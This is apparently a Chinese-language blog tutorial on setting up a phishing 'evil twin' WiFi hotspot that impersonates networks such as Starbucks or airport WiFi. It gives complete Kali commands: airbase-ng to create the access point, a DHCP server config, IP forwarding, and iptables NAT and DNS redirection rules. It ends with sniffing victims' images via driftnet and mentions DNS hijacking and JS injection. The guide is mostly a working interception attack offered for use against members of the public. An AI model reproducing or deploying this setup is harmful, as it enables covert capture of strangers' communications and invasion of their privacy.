钓鱼WiFi姿势详解

0x00 钓鱼WiFi的原理

因为WiFi的特性,同一个空间中可以允许相同SSID(就是你看到的WiFi名)存在,并且允许密码和加密方式一样。对于客户端来说,会找信号稍强的去连接。那么假如我们在星巴克,建立一个名为“Starbucks”的WiFi,即可诱导本来连接到星巴克“Starbucks”WiFi的人连接到我们自己搭建的“Starbucks”上,由我们搭建的AP提供路由、ip、dns等,从而可以抓取连接客户端的全部通信内容。

我们先了解下一台正常的路由器是如何让客户端连接上网的。

它的原理可复杂可简单,为了理解钓鱼WiFi,我暂且把路由器这样分割一下:无线硬件、DHCP服务器、NAT服务、外网接口。

无线硬件

无线硬件顾名思义就是用来发射WiFi信号的东西,我们不管他的原理有多复杂,里面又分为多少个小的模块,只把它理解为一个整体。客户端通过搜索无线硬件发射出来的WiFi信号来识别无线网身份并进行连接。

DHCP服务器

我们知道客户端连接网络通常要有IP地址,网络掩码、网关和DNS,DHCP服务器的作用就是要给所有连接到路由器的客户端分配这些内容。但是由于路由器通常都只有一个外网接口,我们连接的客户端通常也大于1个,因此一般给客户端分配的IP地址都是内网IP地址,如192.168.1.x、10.0.0.x。那么这些地址无法直接访问互联网,就需要NAT做网络地址转换。

NAT

NAT在路由器中的作用主要就是做私有(内网)IP到公网IP的转换,就好比国人持有身份证(私有IP)只能在国内旅游,但要去国外浪必须使用护照,护照(公网IP)是国际通用的身份标识。

经过这些步骤,我们的客户端可以通过路由器正常访问网络了。

下面是客户端连接到路由器上网的流程图:

如果我们要通过电脑伪造这些进行钓鱼,其实实现的原理类似。我们要有至少一个无线硬件(无线网卡),一个已经连接到互联网的网卡(无线或有线),通过Aircrack-ng 这个软件创建无线热点,通过isc-dhcp-server这个软件来搭建dhcp服务器,通过iptables做NAT地址转换,这样就复刻了路由器的联网流程,让客户端误认为连接的就是正常的无线路由器。

下面是客户端连接到钓鱼WiFi上网的流程图:

画一个草的不能再草的草图来比较这两者的区别:

0x01 准备工作

kali系统

kali是一种专门用于安全审计的linux系统,它不是必须,这个工作可以在任意系统上去做,只不过kali安装了钓鱼WiFi所需要的绝大多数软件和依赖,用它钓鱼更方便一些。一般我们会把kali安装在虚拟机上。可以直接去官网上下载虚拟机镜像。https://www.kali.org/downloads/

下载后的镜像:

虚拟机

我是用的是 VMware VM虚拟机,它不是免费的。也可以使用免费的VirtualBox。安装虚拟机后,双击下载好的镜像就可以把它导入到虚拟机中直接运行了。

kali默认的用户名:root, 密码:toor

USB无线网卡

这个东西的用途是建立钓鱼热点,是创建钓鱼WiFi中很关键的一个点。我原本以为随便一个无线网卡就可以,但实际上kali完美支持的无线网卡型号并不多(有的虽然可以用但不能切换成监听模式)。我也尝试了安装linux版驱动,但很多驱动需要编译安装,编译时候又会缺少各种库,毕竟kali就不是为开发而设计的。为了避免折腾,还是建议看下支持列表支持的芯片组,买搭载那些芯片组的网卡。

支持的网卡:
Atheros AR9271
Ralink RT3070
Ralink RT3572
Realtek 8187L (Wireless G adapters)
Realtek RTL8812AU (2017年新增)
这其中,RTL8812AU是支持802.11ac协议的,最新,传输速度快,但是也相对贵一些,8187L最老,只支持到802.11g协议,带宽理想状态下也就50m,所以性价比最高的就是RT3070了,它支持802.11n协议,比较常见,带宽通常能到100左右。可以在淘宝上直接搜芯片组名字,随便挑一个看着顺眼的买来即可。

启动kali系统后,一定要记得把虚拟机的网络适配器设置成桥接模式,然后插入无线网卡,点击链接到Linux,至此准备工作全部完成。设置桥接模式的目的是让虚拟机和宿主机共用同一个网关。

0x02 开始搭建

既然是钓鱼WiFi,那么我们要保证我们模拟的WiFi可以正常连接并上网,要能正常连接上网,除了需要对外发射wifi信号以外,还需要一个dhcp服务器来模仿路由器给客户端分配ip,还需要开启ip转发和NAT将客户端流量转换给本机的外网。

下面开始大量使用终端了,略枯燥,但照做不难。

安装dhcp服务器

这是整个过程中唯一需要安装的软件,因为dhcp服务器默认没有安装在kali镜像中。
执行下面命令安装:

apt-get install isc-dhcp-server

配置dhcp服务器

打开终端,输入命令:vim /etc/dhcp/dhcpd.conf
在这个文件中插入下面内容:

authoritative;

default-lease-time 700;
max-lease-time 8000;

subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;

option domain-name-servers 10.0.0.1;

range 10.0.0.10 10.0.0.100;

}

处理无线网卡

打开终端,先输入ifconfig看下你的无线网卡名字叫什么:

记住这个名字(在我这里叫wlan0),后面会经常用到。

然后执行下面的命令:

ifconfig wlan0 down           #wlan0修改成你的网卡
iwconfig wlan0 mode monitor
ifconfig wlan0 up
airmon-ng start wlan0

在执行最后一个命令的时候可能会出现下面的提示:

执行airmon-ng check kill杀掉可能受影响的进程。

上述命令可以防止在钓鱼时因为和其他进程冲突出现:Error: Got channel -1, expected a value > 0的错误

建立热点

我们的无线网卡已经准备好并切换到监听模式了,这时候我们可以建立钓鱼热点了。

建立之前我们要再次使用ifconfig确定一下无线网卡的名称。

比如我这个名称就从wlan0 变成了wlan0mon

这里我们使用Aircrack-ng这个软件来创建无线热点。

输入下面命令:

airbase-ng -e freeWiFi -c 11 wlan0mon

其中-e后面的参数是要建立的WiFi名(SSID),这个参数要随机应变,到了星巴克就是Starbucks,到了机场就是Airport Free WiFi,也可以是CMCCChinaUnicom等。-c后面的参数是信道,最后一个参数是要使用的无线网卡。

重新打开一个终端,输入下面命令,热点的网络流量会被虚拟到at0这块网卡上面:

ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

这时如果用手机搜索WiFi会发现已经可以看到一个名叫“freeWiFi”的热点了,但是不可以连接,是因为没有dhcp服务器为其分配ip地址,我们继续。

打开ip转发:

echo 1 > /proc/sys/net/ipv4/ip_forward

开启dhcp服务器:

这部分最乱,搞了好久,网上很多教程可能是因为时间久远,照做都会报错,我又google了好久错误原因,最终总结出来一套我自己的操作流程,我尽量写清楚一点

  • 将dhcp服务器设置为只启动ipv4服务,并且设置好网卡

执行命令vim /etc/default/isc-dhcp-server
按“i”键切换到insert模式,注释掉INTERFACESv6="",在INTERFACESv4=""中设置网卡at0
按“esc”键切换到命令模式,输入“:wq 回车”保存

  • 执行dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0

  • 开启dhcp service isc-dhcp-server start

如果报错Starting ISC DHCPv4 server: dhcpddhcpd service already running (pid file /var/run/dhcpd.pid currenty exists) ...则执行rm /var/run/dhcpd.pid先删除这个文件,再执行service isc-dhcp-server start

截止到此步骤,我们已经可以连接到钓鱼wifi了,并且能在详细设置中看到ip地址已经被分配,但还无法上网。

配置NAT

查看网关地址:

终端执行route -n

我们要查看能上网的网卡网关,因此我们记下eth0的Gateway为192.168.2.1,后面的操作我们将把流量转发到这个网关中。

执行以下命令来配置NAT:

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #对eth0进行源nat
iptables -A FORWARD -i wlan0mon -o eth0 -j ACCEPT #把无线网卡流量转发到有线网卡(或者什么能上网的网卡)上面
iptables -A FORWARD -p tcp --syn -s 10.0.0.0/24 -j TCPMSS --set-mss 1356 #修改最大报文段长度
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.2.1 #你的网关

再次测试,可以上网了(但其实挺慢的,可能和我的网卡或者配置有关)。

0x03 钓鱼WiFi建立后做什么

抓包分析、dns劫持、js注入、图片嗅探……这里的每一块儿内容都可以详细展开。

图片嗅探

新建终端输入命令:driftnet -i at0

客户端:

通过钓鱼嗅探到的图片:

Comments
Write a Comment